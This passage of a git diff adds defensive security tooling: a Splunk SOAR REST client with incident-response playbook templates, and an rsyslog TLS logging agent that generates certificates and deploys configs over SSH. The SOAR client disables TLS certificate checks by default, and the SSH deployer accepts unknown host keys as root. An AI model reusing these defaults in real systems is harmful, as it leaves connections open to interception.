Get playbook details | +| `/rest/playbook_run` | POST | Execute a playbook | + +### Containers (Events/Incidents) + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/rest/container` | GET | List containers | +| `/rest/container` | POST | Create new container | +| `/rest/container/{id}` | GET | Get container details | +| `/rest/container/{id}` | POST | Update container | + +### Artifacts (IOCs) + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/rest/artifact` | POST | Add artifact to container | +| `/rest/artifact/{id}` | GET | Get artifact details | +| CEF fields: `sourceAddress`, `destinationAddress`, `fileHash`, `fileName` | + +### Actions + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/rest/action_run` | POST | Run an action on an asset | +| `/rest/action_run/{id}` | GET | Get action results | +| `/rest/app` | GET | List installed apps | +| `/rest/asset` | GET | List configured assets | + +### System + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/rest/system_info` | GET | System version and status | +| `/rest/ph_user` | GET | List SOAR users | + +## Common App Actions + +| App | Action | Description | +|-----|--------|-------------| +| VirusTotal | `file_reputation` | Check hash reputation | +| VirusTotal | `url_reputation` | Check URL safety | +| CrowdStrike | `contain_device` | Network isolate host | +| ActiveDirectory | `disable_user` | Disable AD account | +| ServiceNow | `create_ticket` | Create incident ticket | +| Exchange | `quarantine_email` | Remove phishing email | +| Splunk | `run_query` | Execute SPL search | + +## Playbook Types +- **Automation**: Fully automated, no analyst input +- **Investigation**: Enrichment with analyst decision gates +- **Response**: Containment actions with approval prompts +- **Reporting**: Data collection and notification + +## External References +- SOAR REST API: https://docs.splunk.com/Documentation/SOAR/current/PlatformAPI/ +- Playbook Guide: https://docs.splunk.com/Documentation/SOAR/current/DevelopPlaybooks/ +- App Development: https://docs.splunk.com/Documentation/SOAR/current/DevelopApps/ +- Splunkbase Apps: https://splunkbase.splunk.com/apps/#/product/soar diff --git a/skills/implementing-soar-automation-with-phantom/scripts/agent.py b/skills/implementing-soar-automation-with-phantom/scripts/agent.py new file mode 100644 index 00000000..1cabf8b3 --- /dev/null +++ b/skills/implementing-soar-automation-with-phantom/scripts/agent.py @@ -0,0 +1,245 @@ +#!/usr/bin/env python3 +"""Splunk SOAR (Phantom) automation agent for playbook management.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import requests + from requests.packages.urllib3.exceptions import InsecureRequestWarning + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) +except ImportError: + print("Install requests: pip install requests") + sys.exit(1) + + +class SplunkSOARClient: + """Client for Splunk SOAR (Phantom) REST API.""" + + def __init__(self, base_url, auth_token, verify_ssl=False): + self.base_url = base_url.rstrip("/") + self.session = requests.Session() + self.session.headers.update({ + "ph-auth-token": auth_token, + "Content-Type": "application/json", + }) + self.session.verify = verify_ssl + + def _get(self, endpoint, params=None): + resp = self.session.get(f"{self.base_url}/rest{endpoint}", params=params) + resp.raise_for_status() + return resp.json() + + def _post(self, endpoint, data=None): + resp = self.session.post(f"{self.base_url}/rest{endpoint}", json=data) + resp.raise_for_status() + return resp.json() + + def list_playbooks(self, page_size=50): + """List all configured playbooks.""" + return self._get("/playbook", params={"page_size": page_size}) + + def get_playbook(self, playbook_id): + """Get details of a specific playbook.""" + return self._get(f"/playbook/{playbook_id}") + + def run_playbook(self, playbook_id, container_id, scope="all"): + """Execute a playbook against a container.""" + return self._post("/playbook_run", data={ + "playbook_id": playbook_id, + "container_id": container_id, + "scope": scope, + }) + + def list_containers(self, label=None, status=None, page_size=50): + """List containers (incidents/events).""" + params = {"page_size": page_size, "sort": "id", "order": "desc"} + if label: + params["_filter_label"] = f'"{label}"' + if status: + params["_filter_status"] = f'"{status}"' + return self._get("/container", params=params) + + def create_container(self, name, label, severity, description=""): + """Create a new container for an incident.""" + return self._post("/container", data={ + "name": name, "label": label, + "severity": severity, "description": description, + "status": "new", + }) + + def add_artifact(self, container_id, name, cef_data, label="event"): + """Add an artifact (IOC) to a container.""" + return self._post("/artifact", data={ + "container_id": container_id, + "name": name, + "label": label, + "cef": cef_data, + "severity": "medium", + }) + + def list_apps(self): + """List installed apps (connectors).""" + return self._get("/app") + + def list_assets(self): + """List configured assets.""" + return self._get("/asset") + + def get_action_results(self, action_run_id): + """Get results of an action run.""" + return self._get(f"/action_run/{action_run_id}") + + def run_action(self, action_name, app_id, asset_id, parameters, container_id): + """Run an action via an app connector.""" + return self._post("/action_run", data={ + "action": action_name, + "app_id": app_id, + "asset_id": asset_id, + "container_id": container_id, + "parameters": [parameters], + }) + + def get_system_info(self): + """Get SOAR system information.""" + return self._get("/system_info") + + def list_users(self): + """List SOAR users.""" + return self._get("/ph_user") + + +def create_phishing_response_playbook_data(): + """Generate phishing response playbook configuration.""" + return { + "name": "Phishing Investigation and Response", + "description": "Automated phishing email triage and response", + "steps": [ + {"action": "file_reputation", "app": "VirusTotal", + "description": "Check attachment hash against VT"}, + {"action": "url_reputation", "app": "VirusTotal", + "description": "Check URLs in email against VT"}, + {"action": "domain_reputation", "app": "VirusTotal", + "description": "Check sender domain reputation"}, + {"action": "whois_domain", "app": "WHOIS", + "description": "WHOIS lookup on sender domain"}, + {"action": "hunt_email", "app": "Exchange", + "description": "Search for same email across mailboxes"}, + {"action": "decision_gate", "type": "prompt", + "description": "Analyst reviews enrichment and decides"}, + {"action": "quarantine_email", "app": "Exchange", + "description": "Quarantine email from all mailboxes"}, + {"action": "block_sender", "app": "Firewall", + "description": "Block sender IP/domain on email gateway"}, + {"action": "create_ticket", "app": "ServiceNow", + "description": "Create incident ticket for tracking"}, + ], + } + + +def create_malware_containment_playbook_data(): + """Generate malware containment playbook configuration.""" + return { + "name": "Malware Containment and Remediation", + "steps": [ + {"action": "get_process_info", "app": "CrowdStrike", + "description": "Get process details from EDR"}, + {"action": "file_reputation", "app": "VirusTotal", + "description": "Check file hash reputation"}, + {"action": "detonate_file", "app": "Sandbox", + "description": "Detonate in sandbox if unknown"}, + {"action": "decision_gate", "type": "prompt", + "description": "Analyst approves containment"}, + {"action": "contain_device", "app": "CrowdStrike", + "description": "Network isolate the endpoint"}, + {"action": "disable_user", "app": "ActiveDirectory", + "description": "Disable compromised user account"}, + {"action": "create_ticket", "app": "ServiceNow", + "description": "Create P1 incident ticket"}, + ], + } + + +def run_soar_audit(client): + """Run SOAR platform audit.""" + print(f"\n{'='*60}") + print(f" SPLUNK SOAR (PHANTOM) AUDIT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + try: + sys_info = client.get_system_info() + print(f"--- SYSTEM INFO ---") + print(f" Version: {sys_info.get('version', 'N/A')}") + print(f" Build: {sys_info.get('build', 'N/A')}") + except Exception as e: + print(f" System info unavailable: {e}") + + playbooks = client.list_playbooks() + pb_data = playbooks.get("data", []) + print(f"\n--- PLAYBOOKS ({len(pb_data)}) ---") + for pb in pb_data[:15]: + status = "ACTIVE" if pb.get("active") else "INACTIVE" + print(f" [{status}] {pb.get('name', 'N/A')} (ID: {pb.get('id')})") + + apps = client.list_apps() + app_data = apps.get("data", []) + print(f"\n--- INSTALLED APPS ({len(app_data)}) ---") + for app in app_data[:15]: + print(f" {app.get('name', 'N/A')} v{app.get('app_version', 'N/A')}") + + assets = client.list_assets() + asset_data = assets.get("data", []) + print(f"\n--- CONFIGURED ASSETS ({len(asset_data)}) ---") + for asset in asset_data[:10]: + print(f" {asset.get('name', 'N/A')} -> {asset.get('product_name', 'N/A')}") + + containers = client.list_containers(status="open") + ct_data = containers.get("data", []) + print(f"\n--- OPEN CONTAINERS ({len(ct_data)}) ---") + for ct in ct_data[:10]: + print(f" [{ct.get('severity', 'N/A')}] {ct.get('name', 'N/A')} (Status: {ct.get('status')})") + + print(f"\n--- PLAYBOOK TEMPLATES ---") + phishing = create_phishing_response_playbook_data() + print(f" {phishing['name']}: {len(phishing['steps'])} steps") + malware = create_malware_containment_playbook_data() + print(f" {malware['name']}: {len(malware['steps'])} steps") + + print(f"\n{'='*60}\n") + return {"playbooks": len(pb_data), "apps": len(app_data), "containers": len(ct_data)} + + +def main(): + parser = argparse.ArgumentParser(description="Splunk SOAR Automation Agent") + parser.add_argument("--url", required=True, help="SOAR instance URL") + parser.add_argument("--token", required=True, help="SOAR auth token") + parser.add_argument("--audit", action="store_true", help="Run SOAR audit") + parser.add_argument("--list-playbooks", action="store_true") + parser.add_argument("--run-playbook", nargs=2, metavar=("PB_ID", "CONTAINER_ID"), + help="Run playbook on container") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + client = SplunkSOARClient(args.url, args.token) + + if args.audit: + report = run_soar_audit(client) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + elif args.list_playbooks: + pb = client.list_playbooks() + for p in pb.get("data", []): + print(f" [{p.get('id')}] {p.get('name')}") + elif args.run_playbook: + result = client.run_playbook(int(args.run_playbook[0]), int(args.run_playbook[1])) + print(json.dumps(result, indent=2)) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-soar-playbook-with-palo-alto-xsoar/LICENSE b/skills/implementing-soar-playbook-with-palo-alto-xsoar/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-soar-playbook-with-palo-alto-xsoar/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-stix-taxii-feed-integration/LICENSE b/skills/implementing-stix-taxii-feed-integration/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-stix-taxii-feed-integration/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-supply-chain-security-with-in-toto/LICENSE b/skills/implementing-supply-chain-security-with-in-toto/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-supply-chain-security-with-in-toto/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-syslog-centralization-with-rsyslog/LICENSE b/skills/implementing-syslog-centralization-with-rsyslog/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-syslog-centralization-with-rsyslog/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-syslog-centralization-with-rsyslog/SKILL.md b/skills/implementing-syslog-centralization-with-rsyslog/SKILL.md new file mode 100644 index 00000000..6c7a51b3 --- /dev/null +++ b/skills/implementing-syslog-centralization-with-rsyslog/SKILL.md @@ -0,0 +1,43 @@ +--- +name: implementing-syslog-centralization-with-rsyslog +description: >- + Configure rsyslog for centralized log collection with TLS encryption, custom templates, + and log rotation. Generates server and client configuration files with GnuTLS stream + drivers, x509 certificate authentication, per-host log segregation, and reliable + queue settings for high-availability syslog infrastructure. +--- + +## Instructions + +1. Install dependencies: `pip install jinja2 paramiko` +2. Generate TLS certificates for rsyslog server and clients using OpenSSL. +3. Run the agent to generate rsyslog server and client configurations: + - Server: TLS listener on port 6514, per-host directory output, JSON-format templates + - Client: TLS forwarding with disk-assisted queues for reliability +4. Deploy configurations to servers via SSH (paramiko). +5. Validate TLS connectivity and log delivery. + +```bash +python scripts/agent.py --server-ip 10.0.0.1 --clients 10.0.0.10,10.0.0.11 --ca-cert ca.pem --output syslog_report.json +``` + +## Examples + +### Server Configuration (TLS) +``` +module(load="imtcp" StreamDriver.Name="gtls" StreamDriver.Mode="1" + StreamDriver.Authmode="x509/name") +input(type="imtcp" port="6514") +template(name="PerHostLog" type="string" string="/var/log/remote/%HOSTNAME%/%PROGRAMNAME%.log") +*.* ?PerHostLog +``` + +### Client Configuration (Reliable Forwarding) +``` +action(type="omfwd" target="10.0.0.1" port="6514" protocol="tcp" + StreamDriver="gtls" StreamDriverMode="1" + StreamDriverAuthMode="x509/name" + queue.type="LinkedList" queue.filename="fwdRule1" + queue.maxdiskspace="1g" queue.saveonshutdown="on" + action.resumeRetryCount="-1") +``` diff --git a/skills/implementing-syslog-centralization-with-rsyslog/references/api-reference.md b/skills/implementing-syslog-centralization-with-rsyslog/references/api-reference.md new file mode 100644 index 00000000..a59d6e85 --- /dev/null +++ b/skills/implementing-syslog-centralization-with-rsyslog/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: Rsyslog Centralization with TLS + +## Rsyslog Server Configuration Directives + +### TLS Module Loading +``` +module(load="imtcp" + StreamDriver.Name="gtls" + StreamDriver.Mode="1" + StreamDriver.Authmode="x509/name" + PermittedPeer=["client1.local","client2.local"]) +``` + +### Global TLS Settings +``` +global( + DefaultNetstreamDriver="gtls" + DefaultNetstreamDriverCAFile="/path/to/ca.pem" + DefaultNetstreamDriverCertFile="/path/to/cert.pem" + DefaultNetstreamDriverKeyFile="/path/to/key.pem") +``` + +### Template Syntax +``` +template(name="PerHostDir" type="string" + string="/var/log/remote/%HOSTNAME%/%PROGRAMNAME%.log") +template(name="JSONFormat" type="string" + string='{"host":"%HOSTNAME%","msg":"%msg:::json%"}\n') +``` + +## Rsyslog Client Forwarding +``` +action(type="omfwd" target="" port="6514" protocol="tcp" + StreamDriver="gtls" StreamDriverMode="1" + StreamDriverAuthMode="x509/name" + queue.type="LinkedList" queue.filename="fwdRule1" + queue.maxdiskspace="1g" queue.saveonshutdown="on" + action.resumeRetryCount="-1") +``` + +## Jinja2 Template Engine +```python +from jinja2 import Template +tmpl = Template("target={{ server_ip }} port={{ port }}") +output = tmpl.render(server_ip="10.0.0.1", port=6514) +``` + +## Paramiko SSH Deployment +```python +import paramiko +client = paramiko.SSHClient() +client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) +client.connect(hostname=host, username=user, key_filename=key) +sftp = client.open_sftp() +sftp.file(remote_path, "w").write(content) +client.exec_command("systemctl restart rsyslog") +client.close() +``` + +## OpenSSL Certificate Generation +```bash +openssl req -x509 -newkey rsa:4096 -keyout ca-key.pem -out ca.pem -days 3650 -nodes +openssl req -newkey rsa:2048 -keyout server-key.pem -out server.csr -nodes +openssl x509 -req -in server.csr -CA ca.pem -CAkey ca-key.pem -out server-cert.pem +``` diff --git a/skills/implementing-syslog-centralization-with-rsyslog/scripts/agent.py b/skills/implementing-syslog-centralization-with-rsyslog/scripts/agent.py new file mode 100644 index 00000000..dfed7ba2 --- /dev/null +++ b/skills/implementing-syslog-centralization-with-rsyslog/scripts/agent.py @@ -0,0 +1,246 @@ +#!/usr/bin/env python3 +"""Rsyslog Centralization Agent - Generates and deploys TLS-secured rsyslog configurations.""" + +import json +import logging +import argparse +import subprocess +from datetime import datetime + +from jinja2 import Template + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +SERVER_TEMPLATE = Template("""\ +# Rsyslog Server Configuration - TLS Centralized Logging +# Generated by Syslog Centralization Agent + +# Load modules +module(load="imuxsock") +module(load="imklog") +module(load="imtcp" + StreamDriver.Name="gtls" + StreamDriver.Mode="1" + StreamDriver.Authmode="x509/name" + PermittedPeer=["{{ permitted_peers | join('","') }}"] +) + +# TLS Certificate Configuration +global( + DefaultNetstreamDriver="gtls" + DefaultNetstreamDriverCAFile="{{ ca_cert }}" + DefaultNetstreamDriverCertFile="{{ server_cert }}" + DefaultNetstreamDriverKeyFile="{{ server_key }}" +) + +# TLS Listener +input(type="imtcp" port="{{ tls_port }}") + +# Templates +template(name="PerHostDir" type="string" + string="/var/log/remote/%HOSTNAME%/%PROGRAMNAME%.log") + +template(name="JSONFormat" type="string" + string='{"timestamp":"%TIMESTAMP:::date-rfc3339%","host":"%HOSTNAME%","facility":"%syslogfacility-text%","severity":"%syslogseverity-text%","program":"%PROGRAMNAME%","msg":"%msg:::json%"}\\n') + +template(name="PerHostJSON" type="string" + string="/var/log/remote/%HOSTNAME%/json/%PROGRAMNAME%.json") + +# Rules - Store per-host with standard format +*.* ?PerHostDir + +# Also store in JSON format for SIEM ingestion +*.* ?PerHostJSON;JSONFormat + +# High-severity alerts to dedicated file +*.err /var/log/remote/errors.log +""") + +CLIENT_TEMPLATE = Template("""\ +# Rsyslog Client Configuration - TLS Forwarding +# Generated by Syslog Centralization Agent + +# TLS Certificate Configuration +global( + DefaultNetstreamDriver="gtls" + DefaultNetstreamDriverCAFile="{{ ca_cert }}" + DefaultNetstreamDriverCertFile="{{ client_cert }}" + DefaultNetstreamDriverKeyFile="{{ client_key }}" +) + +# Forward all logs to central server with TLS and reliable queue +action( + type="omfwd" + target="{{ server_ip }}" + port="{{ tls_port }}" + protocol="tcp" + StreamDriver="gtls" + StreamDriverMode="1" + StreamDriverAuthMode="x509/name" + StreamDriverPermittedPeers="{{ server_ip }}" + queue.type="LinkedList" + queue.filename="fwdRule1" + queue.maxdiskspace="{{ queue_disk_space }}" + queue.saveonshutdown="on" + queue.size="{{ queue_size }}" + action.resumeRetryCount="-1" + action.resumeInterval="30" +) +""") + + +def generate_server_config(server_ip, clients, ca_cert, server_cert, server_key, tls_port=6514): + """Generate rsyslog server configuration with TLS.""" + config = SERVER_TEMPLATE.render( + permitted_peers=clients + [server_ip], + ca_cert=ca_cert, + server_cert=server_cert, + server_key=server_key, + tls_port=tls_port, + ) + logger.info("Generated server config for %s with %d permitted peers", server_ip, len(clients)) + return config + + +def generate_client_config(server_ip, ca_cert, client_cert, client_key, tls_port=6514): + """Generate rsyslog client configuration with TLS forwarding.""" + config = CLIENT_TEMPLATE.render( + server_ip=server_ip, + ca_cert=ca_cert, + client_cert=client_cert, + client_key=client_key, + tls_port=tls_port, + queue_disk_space="1g", + queue_size="50000", + ) + logger.info("Generated client config forwarding to %s:%d", server_ip, tls_port) + return config + + +def generate_tls_certificates(output_dir, server_cn, client_cns): + """Generate CA, server, and client TLS certificates using OpenSSL.""" + ca_key = f"{output_dir}/ca-key.pem" + ca_cert = f"{output_dir}/ca.pem" + subprocess.run([ + "openssl", "req", "-x509", "-newkey", "rsa:4096", "-keyout", ca_key, + "-out", ca_cert, "-days", "3650", "-nodes", + "-subj", f"/CN=Syslog CA/O=SOC/C=US", + ], capture_output=True, check=True) + logger.info("Generated CA certificate: %s", ca_cert) + + for cn in [server_cn] + client_cns: + key_file = f"{output_dir}/{cn}-key.pem" + cert_file = f"{output_dir}/{cn}-cert.pem" + csr_file = f"{output_dir}/{cn}.csr" + subprocess.run([ + "openssl", "req", "-newkey", "rsa:2048", "-keyout", key_file, + "-out", csr_file, "-nodes", "-subj", f"/CN={cn}/O=SOC/C=US", + ], capture_output=True, check=True) + subprocess.run([ + "openssl", "x509", "-req", "-in", csr_file, "-CA", ca_cert, + "-CAkey", ca_key, "-CAcreateserial", "-out", cert_file, "-days", "365", + ], capture_output=True, check=True) + logger.info("Generated certificate for %s", cn) + return ca_cert + + +def deploy_config_ssh(host, config_content, remote_path, username="root", key_file=None): + """Deploy rsyslog configuration to a remote host via SSH.""" + import paramiko + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + connect_kwargs = {"hostname": host, "username": username} + if key_file: + connect_kwargs["key_filename"] = key_file + client.connect(**connect_kwargs) + sftp = client.open_sftp() + with sftp.file(remote_path, "w") as f: + f.write(config_content) + sftp.close() + _, stdout, stderr = client.exec_command("systemctl restart rsyslog") + exit_status = stdout.channel.recv_exit_status() + client.close() + logger.info("Deployed config to %s:%s (restart exit: %d)", host, remote_path, exit_status) + return exit_status == 0 + + +def validate_tls_connection(server_ip, tls_port=6514, ca_cert=None): + """Validate TLS connectivity to the rsyslog server.""" + cmd = [ + "openssl", "s_client", "-connect", f"{server_ip}:{tls_port}", + "-CAfile", ca_cert or "/etc/ssl/certs/ca-certificates.crt", + ] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=10, input="") + connected = "Verify return code: 0" in result.stdout + logger.info("TLS validation to %s:%d: %s", server_ip, tls_port, "OK" if connected else "FAILED") + return connected + except subprocess.TimeoutExpired: + return False + + +def generate_report(server_config, client_configs, deployments, tls_valid): + """Generate syslog centralization deployment report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "server_config_generated": bool(server_config), + "client_configs_generated": len(client_configs), + "deployments": deployments, + "tls_validated": tls_valid, + } + print(f"SYSLOG REPORT: {len(client_configs)} client configs, TLS: {'OK' if tls_valid else 'PENDING'}") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Rsyslog Centralization Agent") + parser.add_argument("--server-ip", required=True, help="Syslog server IP") + parser.add_argument("--clients", required=True, help="Comma-separated client IPs") + parser.add_argument("--ca-cert", default="/etc/rsyslog.d/ca.pem") + parser.add_argument("--server-cert", default="/etc/rsyslog.d/server-cert.pem") + parser.add_argument("--server-key", default="/etc/rsyslog.d/server-key.pem") + parser.add_argument("--tls-port", type=int, default=6514) + parser.add_argument("--deploy", action="store_true", help="Deploy configs via SSH") + parser.add_argument("--config-dir", default="./rsyslog_configs") + parser.add_argument("--output", default="syslog_report.json") + args = parser.parse_args() + + clients = [c.strip() for c in args.clients.split(",")] + import os + os.makedirs(args.config_dir, exist_ok=True) + + server_config = generate_server_config( + args.server_ip, clients, args.ca_cert, args.server_cert, args.server_key, args.tls_port + ) + with open(f"{args.config_dir}/server.conf", "w") as f: + f.write(server_config) + + client_configs = {} + for client_ip in clients: + config = generate_client_config( + args.server_ip, args.ca_cert, + f"/etc/rsyslog.d/{client_ip}-cert.pem", + f"/etc/rsyslog.d/{client_ip}-key.pem", + args.tls_port, + ) + with open(f"{args.config_dir}/client-{client_ip}.conf", "w") as f: + f.write(config) + client_configs[client_ip] = config + + deployments = [] + if args.deploy: + for client_ip, config in client_configs.items(): + ok = deploy_config_ssh(client_ip, config, "/etc/rsyslog.d/99-central.conf") + deployments.append({"host": client_ip, "success": ok}) + + tls_valid = validate_tls_connection(args.server_ip, args.tls_port, args.ca_cert) + report = generate_report(server_config, client_configs, deployments, tls_valid) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-taxii-server-with-opentaxii/LICENSE b/skills/implementing-taxii-server-with-opentaxii/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-taxii-server-with-opentaxii/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-threat-intelligence-lifecycle-management/LICENSE b/skills/implementing-threat-intelligence-lifecycle-management/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-threat-intelligence-lifecycle-management/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-threat-intelligence-platform/LICENSE b/skills/implementing-threat-intelligence-platform/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-threat-intelligence-platform/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 